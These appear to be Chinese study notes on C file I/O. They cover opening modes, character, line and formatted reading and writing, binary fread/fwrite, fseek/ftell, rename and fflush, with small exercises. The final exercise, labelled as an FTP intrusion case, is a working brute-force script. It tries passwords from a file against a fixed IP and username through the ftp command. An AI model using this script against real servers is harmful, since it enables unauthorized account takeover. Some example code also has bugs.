文件操作
1、文件分类:
①文本文件(例:记事本)、
②二进制文件(例:视频文件),优点:所占内存较小
操作文件地址的两种方式:①相对路径 ②绝对路径
2、文件打开与关闭
①格式:FILE *fp = fopen(“路径”,“r”)
做判断 文件是否为空;
打开失败情况:
①找不到文件②没有权限 ③程序打开文件超出上线;
关闭文件操做:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main201()
{
//注意:文件类型指针 不需要用户操作
FILE *fp = fopen("D:\\Code\\a.txt", "r");
if (fp == NULL)
{
//1、找不到文件 2、没有权限 3、程序打开文件超出上限
printf("文件打开失败!\n");
return -1;
}
//文件操作
printf("文件打开成功!\n");
//将一个字符写入文件中
//fputc('A', fp);
//char ch = fgetc(fp);
//printf("%c\n", ch);
//ch = fgetc(fp);
//printf("%c\n", ch);
//读取文件结尾 结束标志 EOF -1
char ch;
while ((ch = fgetc(fp))!=EOF)
{
printf("%c\n", ch);
}
//文件关闭
fclose(fp);
//system("pause");
return EXIT_SUCCESS;
}
int main202()
{
//1、以写的形式打开文件
/*
r 以只读形式打开文件 不会创建新文件,如果文件不存在会报错
w 以写的方式打开文件 文件不存在会创建新文件 如果文件里面有内容会覆盖原始内容
a 以追加方式打开文件 文件不存在会创建新文件 在文件末尾追加内容
*/
//FILE * fp = fopen("../../a.txt", "w");
FILE * fp = fopen("../../b.txt", "a");
//2、判断文件的可用性
if (fp == NULL)
{
return -1;
}
//3、写文件||读文件
char ch = 'a';
fputc(ch, fp);
ch = 'b';
fputc(ch, fp);
//4、关闭文件
fclose(fp);
return 0;
}
3、写文件
格式:fputc(‘A’,fp)
打开模式:
4、读取文件
格式:fgetc( fp)
注意:文件类型指针不需要用户操作;
读取整篇文件使用EOF作为判断结束标志
5、写文件内容的步骤:
1.以写的形式打开文件
2.判断文件的可用性
3.写文件||读文件
4.关闭文件
打开模式:
w:文件不存在会创建一个新文件,如果有文件则清空文件原始内容;
r以只读形式打开,不会创建新文件 如果文件不会存在会报错
a以追加的方式打开文件 文件不存在则创建文件 有文件则在文件结尾追加文件
6、行读写
7、行读取
每次读取一行
注意:指定最大读取字符串的长度减一
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main801()
{
char * p = "hello world\n";
FILE * fp = fopen("../../d.txt", "w");
if (!fp)
return -1;
fputs(p, fp);
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
int main802()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
//块读取
char buf[5];//1KB
fgets(buf, 5, fp);
printf("第一次读取结果:%s\n", buf);
memset(buf, 0, 5);
fgets(buf, 5, fp);
printf("第二次读取结果:%s\n", buf);
memset(buf, 0, 5);
fgets(buf, 5, fp);
printf("第三次读取结果:%s\n", buf);
fgets(buf, 5, fp);
printf("第四次读取结果:%s\n", buf);
fclose(fp);
return 0;
}
int main08()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
//char buf[1024*1024];//1M
char * buf = malloc(sizeof(char) * 1024);
//feof判断文件流是否到结尾 EOF 判断字符是否到结尾
while (feof(fp) == 0)
{
memset(buf, 0, 1024);
fgets(buf, 1024, fp);
printf("%s", buf);
}
free(buf);
fclose(fp);
}
8、feof判断文件流是否到结尾, eof判断字符是否到结尾
格式:feof(fp)
格式化文件
①写文件fprintf()
②读文件fscanf()
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
/*
字符串的标准输入输出
scanf("%d,%d,%d",ch) printf("%0d",1);
格式化字符串 char arr[]="相约98" char ch[10]="恋曲"; int a=1990;
sscanf() sprintf() 数据类型 char * format
sscanf(arr,"%s%d",ch,&a);
sprintf(arr,"%s%d",ch,a);
格式化文件读写 数据类型 FILE * fp format
fscanf() fprintf()
fscanf(fp,"%s%d",ch,&a);
fprintf(fp,"%s%d",ch,a);
*/
int main1001()
{
FILE * fp1 = fopen("../../f.txt", "w");
if (!fp1)
return -1;
fprintf(fp1, "%d+%d=%d\n", 1, 2, 3);
fclose(fp1);
system("pause");
return EXIT_SUCCESS;
}
int main1002()
{
FILE * fp1 = fopen("../../f.txt", "r");
if (!fp1)
return -1;
int a, b, c;
fscanf(fp1, "%d+%d=%d\n", &a, &b, &c);
printf("%d %d %d\n", a, b, c);
fclose(fp1);
return 0;
}
int main1003()
{
FILE * fp1 = fopen("../../c.txt", "r");
if (!fp1)
return -1;
int a, b, c;
char ch;
for (int i = 0; i < 100; i++)
{
fscanf(fp1, "%d%c%d=\n", &a, &ch, &b);
printf("%d%c%d=\n", a, ch, b);
}
fclose(fp1);
return 0;
}
小结:
标准输入输出
scanf() printf()
格式化字符串
sscnaf() sprintf()
格式化文件读写
fscanf () fprintf()
练习:vi编辑器
//#define _CRT_SECURE_NO_WARNINGS
//#include<stdio.h>
//#include<string.h>
//#include<stdlib.h>
//
muvi abc.txt
//int main(int argc ,char * argv[])
//{
// char fileName[256];
// printf("请您输入一个需要创建的文件:\n");
// scanf("%s", fileName);
// getchar();
// FILE * fp = fopen(fileName, "w");
// if (fp == NULL)
// {
// return -1;
// }
// //scanf("%[^\n]",buf);
// //fgets()
//
// char buf[1024];
// while (1)
// {
// memset(buf, 0, 1024);
// //scanf("%[^\n]", buf);
// fgets(buf, 1024, stdin);
// //comm=exit代表录入结束
// if (strncmp("comm=exit", buf,9) == 0)
// {
// break;
// }
// int i = 0;
// while (buf[i] != '\0')
// {
// fputc(buf[i++], fp);
// //i++;
// }
// }
//
//
// fclose(fp);
//
//
// system("pause");
// return EXIT_SUCCESS;
//}
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main04()
{
//1、指定一个文件名
char fileName[256];
printf("请输入文件名:\n");
scanf("%s", fileName);
//注意问题:用来接收换行
getchar();
//2、打开文件
FILE * fp = fopen(fileName, "w");
//3、判断文件可用性
if (!fp)
return -1;
//4、循环录入内容
char buf[1024];
while (1)
{
memset(buf, 0, 1024);
fgets(buf, 1024, stdin);
//5、退出命令 comm=exit quit
if (!strncmp("comm=exit", buf, 9))
break;
//6、将字符串写入文件中
int i = 0;
while (buf[i])
fputc(buf[i++], fp);
//更新缓冲区
//fflush(fp);
}
//7、关闭文件
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
练习:手写cat
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
//查看文本文件 cat abc.txt
int main05()
{
char fileName[256];
printf("请输入您查看的文件:\n");
scanf("%s", fileName);
getchar();
FILE * fp = fopen(fileName, "r");
if (!fp)
return -1;
//文件的结束标志 EOF -1
char ch;
while ((ch = fgetc(fp)) != EOF)
printf("%c", ch);
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
练习:四则运算
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <time.h>
/*
1、 以写方式打开文件 判断文件
2、定义 三个变量 字符串
3、循环100次
4、格式化字符串
5、录入内容
6、文件关闭
循环四则运算100次
char arr[20]
sprintf(arr,"%d%c%d=\n",a,c,b);
while(arr!='\0')
{
}
3*2=
5/2=
3-1=
4+6=
*/
enum MyEnum
{
add,sub,mlt,dive
}opt;
int main06()
{
srand((unsigned int)time(NULL));
FILE * fp = fopen("../../c.txt", "w");
if (!fp)
return -1;
int a, b;
char c;
char buf[20];
for (int i = 0; i < 100; i++)
{
switch (rand()%4)
{
case add:
c = '+';
break;
case sub:
c = '-';
break;
case mlt:
c = '*';
break;
case dive:
c = '/';
break;
}
a = rand() % 10 + 1;//2
b = rand() % 10 + 1;//3
memset(buf, 0, 20);
sprintf(buf, "%d%c%d=\n", a, c, b);//2*3=\n
int j = 0;
while (buf[j])
fputc(buf[j++], fp);
}
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
/*
1、打开两个文件 c.txt e.txt
2、判断可用性
3、循环读取
4、格式化字符串 sscanf() 计算结果
5、放到e.txt文件中
6、文件关闭
*/
int main09()
{
FILE * fp1 = fopen("../../c.txt", "r");
FILE * fp2 = fopen("../../e.txt", "w");
if (!fp1 || !fp2)
return -1;
//循环100次
int a, b;
float value = 0;
char c;
char buf[20];
for(int i = 0; i < 100; i++)
{
memset(buf, 0, 20);
fgets(buf, 20, fp1);//2+3=\n
sscanf(buf, "%d%c%d=\n", &a, &c, &b);
switch (c)
{
case '+':
value = a + b;
break;
case '-':
value = a - b;
break;
case '*':
value = a * b;
break;
case '/':
value = a * 1.0 / b;
break;
}
//将格式化好的字符串写入文件中
//memset(buf, 0, 20);
//sprintf(buf, "%d%c%d=%.2f\n", a, c, b, value);
//fputs(buf, fp2);
fprintf(fp2, "%d%c%d=%.2f\n", a, c, b, value);
}
fclose(fp1);
fclose(fp2);
system("pause");
return EXIT_SUCCESS;
}
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
/*
1、打开文件 判断可用性
2、读取内容 再放堆空间中 关闭文件
3、再次打开文件 读取堆空间内容 写入文件中 关闭文件
//{"2+3=4\n","4*5=9\n",""}
//char * buf[100]; buf[1]
//char ** buf = (char **)malloc(sizeof(char *)*100);
//buf[i] = (char *)malloc(sizeof(char)*20);
*/
int main12()
{
FILE * fp = fopen("../../c.txt", "r+");
if (!fp)
return -1;
char ** buf = (char **)malloc(sizeof(char *) * 100);
int a, b;
char c;
float value;
for (int i = 0; i < 100; i++)
{
buf[i] = (char *)malloc(sizeof(char) * 20);
//格式化读取
fscanf(fp, "%d%c%d=\n", &a, &c, &b);
switch (c)
{
case '+':
value = a + b;
break;
case '-':
value = a - b;
break;
case '*':
value = a * b;
break;
case '/':
value = a * 1.0 / b;
break;
}
sprintf(buf[i], "%d%c%d=%.2f\n", a, c, b, value);
//fgets(buf[i], 20, fp);
}
fclose(fp);
//for (int i = 0; i < 100; i++)
//{
// printf("%s", buf[i]);
//}
//将结果重新写入c.txt
fp = fopen("../../c.txt", "r+");
if (!fp)
return -1;
for (int i = 0; i < 100; i++)
fputs(buf[i], fp);
fclose(fp);
//内存释放
for (int i = 0; i < 100; i++)
{
free(buf[i]);
buf[i] = NULL;
}
free(buf);
return EXIT_SUCCESS;
}
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
struct opter
{
int a;//4
int b;//4
char c;//1
float value;//4
};
typedef struct opter opt;
int main13()
{
opt * p = (opt *)malloc(sizeof(opt) * 100);
FILE * fp = fopen("../../c.txt", "r+");
if (!fp)
return -1;
for (int i = 0; i < 100; i++)
{
fscanf(fp, "%d%c%d=\n", &(p + i)->a, &p[i].c, &p[i].b);
//printf("%d %d\n", &(p+i).a, p[i].b);
switch (p[i].c)
{
case '+':
p[i].value = p[i].a + p[i].b;
break;
case '-':
p[i].value = p[i].a - p[i].b;
break;
case '*':
p[i].value = p[i].a * p[i].b;
break;
case '/':
p[i].value = p[i].a* 1.0 / p[i].b;
break;
}
}
fclose(fp);
fp = fopen("../../c.txt", "r+");
if (!fp)
return -1;
for (int i = 0; i < 100; i++)
fprintf(fp, "%d%c%d=%.2f\n", p[i].a, p[i].c, p[i].b, p[i].value);
fclose(fp);
free(p);
system("pause");
return EXIT_SUCCESS;
}
练习:文件的简单加密解密
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
//从源文件中读取字符 进行加密 生成一个新文件
//从加密文件中读取字符 进行解密 变成源文件
int main701()
{
FILE * fp1 = fopen("D:\\Code\\src.txt", "r");
FILE * fp2 = fopen("D:\\Code\\pas.txt", "w");
if (!fp1 || !fp2)
return -1;
//读源文件内容 直到EOF
char ch;
while ((ch = fgetc(fp1)) != EOF)
{
ch++;
fputc(ch, fp2);
}
fclose(fp1);
fclose(fp2);
system("pause");
return EXIT_SUCCESS;
}
int main702(void)
{
FILE * fp1 = fopen("D:\\Code\\pas.txt", "r");
FILE * fp2 = fopen("D:\\Code\\src1.txt", "w");
if (!fp1 || !fp2)
return -1;
char ch;
while ((ch = fgetc(fp1)) != EOF)
{
ch--;
fputc(ch, fp2);
}
fclose(fp1);
fclose(fp2);
}
练习:大数据排序
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <time.h>
//随机 100000 数据 1-1000 写入到文件中 读取出来 进行从小到大的排序 在写入到文件中
int main1401()
{
srand((unsigned int)time(NULL));
FILE * fp = fopen("../../g.txt", "w");
if (!fp)
return -1;
for (int i = 0; i < 100000; i++)
{
fprintf(fp, "%d\n", rand() % 1000 + 1);
}
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
int main1402()
{
unsigned int start_time = time(NULL);
FILE * fp = fopen("../../g.txt", "r");
if (!fp)
return -1;
int *p = (int *)malloc(sizeof(int) * 100000);
for (int i = 0; i < 100000; i++)
fscanf(fp, "%d\n", &p[i]);
for (int i = 0; i < 100000 - 1; i++)
{
for (int j = 0; j < 100000 - i - 1; j++)
{
if (p[j] > p[j + 1])
{
int temp = p[j];
p[j] = p[j + 1];
p[j + 1] = temp;
}
}
}
fclose(fp);
fp = fopen("../../g.txt", "w");
if (!fp)
return -1;
for (int i = 0; i < 100000; i++)
fprintf(fp, "%d\n", p[i]);
fclose(fp);
free(p);
unsigned int end_time = time(NULL);
printf("用时时间:%d(s)\n", end_time - start_time);
return 0;
}
//10000人年龄排序
int main()
{
unsigned int start_time = time(NULL);
FILE * fp = fopen("../../g.txt", "r");
if (!fp)
return -1;
int arr[1000] = {0};
int value;
//int sum = 0;
for (int i = 0; i < 100000; i++)
{
fscanf(fp, "%d\n", &value);
arr[value - 1]++;
}
fclose(fp);
fp = fopen("../../g.txt", "w");
if (!fp)
return -1;
for (int i = 0; i < 1000; i++)
for (int j = 0; j < arr[i]; j++)
fprintf(fp, "%d\n", i + 1);
fclose(fp);
unsigned int end_time = time(NULL);
printf("用时时间:%d(s)\n", end_time - start_time);
}
二进制读写:
fwrite写入格式:
fread读取格式:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main101()
{
//char arr[16] = "hello world";
int arr[] = { 888888,888888,888888,888888,5,6,7,8,10 };//0000 0001
FILE * fp = fopen("../../b.txt", "wb");
if (!fp)
return -1;
fwrite(arr, sizeof(int), 4, fp);
//fprintf(fp, "888888888888888888888888");
fclose(fp);
return EXIT_SUCCESS;
}
int main102()
{
FILE * fp = fopen("../../b.txt", "rb");
if (!fp)
return -1;
int arr[10] = {0};
int i = 0;
while (!feof(fp))
{
fread(&arr[i++], sizeof(int), 1, fp);//888888
}
fclose(fp);
printf("%d\n", arr[0]);
printf("%d\n", arr[1]);
printf("%d\n", arr[2]);
printf("%d\n", arr[3]);
return -1;
}
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
struct students
{
char name[20];//20
int age;//4 4
char sex;//1 4
char tel[15];//16
};
typedef struct students stu;
int main201()
{
stu s[5] = {
{ "李白",50,'M',"110" },
{ "李黑",20,'M',"120" },
{ "李逵",30,'M',"119" },
{ "李鬼",40,'M',"911" },
{ "李青",10,'M',"666" } };
FILE * fp = fopen("../../c.txt", "wb");
if (!fp)
return -1;
for (int i = 0; i < 5; i++)
{
fwrite(&s[i], sizeof(stu), 1, fp);
}
fclose(fp);
return EXIT_SUCCESS;
}
int main202()
{
printf("结构体大小:%d\n", sizeof(stu));
return 0;
FILE * fp = fopen("../../c.txt", "rb");
if (!fp)
return -1;
stu s[5];
int i = 0;
while (!feof(fp))
{
fread(&s[i++], sizeof(stu),1 , fp);
}
fclose(fp);
for (i = 0; i < 5; i++)
{
printf("姓名:%s\t年龄:%d\t性别:%s\t电话:%s\n", s[i].name, s[i].age, s[i].sex == 'M' ? "男" : "女", s[i].tel);
}
return 0;
}
练习:vi编辑器
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(int argc ,char * argv[])
{
char fileName[256];
printf("请您输入一个需要创建的文件:\n");
scanf("%s", fileName);
getchar();
FILE * fp = fopen(fileName, "w");
if (fp == NULL)
{
return -1;
}
//scanf("%[^\n]",buf);
//fgets()
char buf[1024];
while (1)
{
memset(buf, 0, 1024);
//scanf("%[^\n]", buf);
fgets(buf, 1024, stdin);
//comm=exit代表录入结束
if (strncmp("comm=exit", buf,9) == 0)
{
break;
}
int i = 0;
while (buf[i] != '\0')
{
fputc(buf[i++], fp);
//i++;
}
}
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
获取文件属性:
//#define _CRT_SECURE_NO_WARNINGS
//#include<stdio.h>
//#include<string.h>
//#include<stdlib.h>
//#include<sys/types.h>
//#include <sys/stat.h>
//
//
//int main03()
//{
// struct stat s;
// stat("../../test.avi", &s);
//
// printf("文件字节大小:%d\n", s.st_size);
//
//
// return EXIT_SUCCESS;
//}
练习:Linux下手写文件拷贝
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <time.h>
#define MAXSIZE 1024*1024*10
int main(int argc, char *argv[])
{
unsigned int start_time = time(NULL);
if(argc < 3)
{
printf("缺少参数\n");
return -1;
}
//mycp a.c b.c
FILE *fp1 = fopen(argv[1], "rb");
FILE *fp2 = fopen(argv[2], "wb");
if(!fp1 || !fp2)
{
printf("文件打开失败!\n");
return -2;
}
struct stat s = {0};
stat(argv[1], &s);
char *ch = NULL;
int maxSize = 0;
if(s.st_size < MAXSIZE)
{
maxSize = s.st_size;
ch = (char*)malloc(sizeof(char)*s.st_size);
}
else
{
maxSize = MAXSIZE;
ch = (char*)malloc(sizeof(char)*MAXSIZE);
}
while(!feof(fp1))
{
int len = fread(ch, 1, maxSize, fp1);
fwrite(ch, len, 1, fp2);
}
fclose(fp1);
fclose(fp2);
unsigned int end_time = time(NULL);
printf("用时:%d秒\n", end_time - start_time);
return 0;
}
fseek改变光标的位置
从文件开始移动
从文件结尾开始移动
从当前位置移动:CUR
rweind
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
/*
fseek(文件流,移动字节,模式) 移动光标位置
模式:SEEK_SET 以文件开头为标准
SEEK_CUR 以光标当前位置为标准
SEEK_END 以文件结尾为标准
ftell(文件流) 获取光标当前位置 返回值是long -1代表失败
rewind(文件流) 重置光标到文件开始位置
*/
int main601()
{
char * arr = "hello world";
FILE * fp = fopen("../../d.txt", "w");
fputs(arr, fp);
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
int main602()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
//SEEK_SET 文件起始位置
//SEEK_END 文件结尾位置
//fseek(fp, 6, SEEK_SET);
//fseek(fp, -5, SEEK_END);
char ch;
while ((ch = getc(fp)) != EOF)
{
//fseek(fp, 2, SEEK_CUR);
int len = ftell(fp);
printf("%c", ch);
printf("%d\n", len);
}
fclose(fp);
return 0;
}
int main603()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
char buf[20];
while (!feof(fp))
{
fgets(buf, 20, fp);
printf("%s", buf);
printf("%ld\n", ftell(fp));
}
fclose(fp);
return 0;
}
int main604()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
char buf[20];
for (int i = 0; i < 5; i++)
{
fgets(buf, 20, fp);
printf("%s", buf);
printf("%ld\n", ftell(fp));
}
rewind(fp);
fseek(fp, -5, SEEK_SET);
printf("%ld\n", ftell(fp));
fclose(fp);
return 0;
}
总结:
fseek() 移动光标为位置,参数(文件流 ,移动字节,模式) 模式: SEEK_SET 以文件开头
SEEK_CUR 以文件当前位置 SEEK_END 以文件结尾
ftell (文件流) 获取光标当前为位置 返回值是long类型 -1代表失败
rewind(文件流 ) 重置光标到文件起始位置
文件删除重命名操作:
文件删除
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main07()
{
//if (!remove("../../e.txt"))
// printf("文件删除成功!\n");
//if(!rename("../../e.txt", "../../eee.txt"))
// printf("文件重命名成功!\n");
//移动
rename("../../eee.txt", "D://eee.txt");
system("pause");
return EXIT_SUCCESS;
}
重命名
移动操作
文件缓冲区更新
flush(文件流)
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main()
{
char fileName[256];
printf("请输入文件:\n");
scanf("%s", fileName);
getchar();
FILE * fp = fopen(fileName, "w");
if (!fp)
return -1;
char buf[1024];
while (1)
{
fgets(buf, 1024, stdin);
if (!strncmp(buf, "comm=exit", 9))
break;
fputs(buf, fp);
fflush(fp);
}
fclose(fp);
//FILE * p = _popen()
//_pclose
return EXIT_SUCCESS;
}
练习:入侵ftp小案例
qt代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern void CreateFile(char *ip, char *pass);
int main(int argc, char *argv[])
{
FILE *fp1 = fopen("D:\\pass.txt", "r+");
if(!fp1)
{
printf("文件打开失败!\n");
return -1;
}
char *ip = "192.168.228.129";
char pass[20];
while(!feof(fp1))
{
memset(pass, 0, 20);
fgets(pass, 20, fp1);
CreateFile(ip, pass);
FILE *fp3 = _popen("ftp -n -s:D:\\attack.txt", "r");
if(!fp3)
{
printf("文件打开失败!\n");
return -1;
}
/*
FILE *fp4 = fopen("D:\\log.txt", "w");
if(!fp4)
{
printf("文件打开失败!\n");
return -1;
}
*/
char buf[1024];
while(!feof(fp3))
{
memset(buf, 0, 1024);
fgets(buf, 1024, fp3);
//fputs(buf, fp4);
if(strncmp("230", buf, 3) == 0)
{
printf("Attack Successful!\n");
printf("PASSWORD:%s\n", pass);
exit(0);
}
}
//fclose(fp4);
pclose(fp3);
}
fclose(fp1);
return 0;
}
void CreateFile(char *ip, char *pass)
{
/*
open 192.168.228.129
user
weiyujian
123456
bye
*/
FILE *fp2 = fopen("D:\\attack.txt", "w+");
if(!fp2)
{
printf("文件打开失败!\n");
return -1;
}
fprintf(fp2, "open %s\nuser\nweiyujian\n%sbye", ip, pass);
fclose(fp2);
}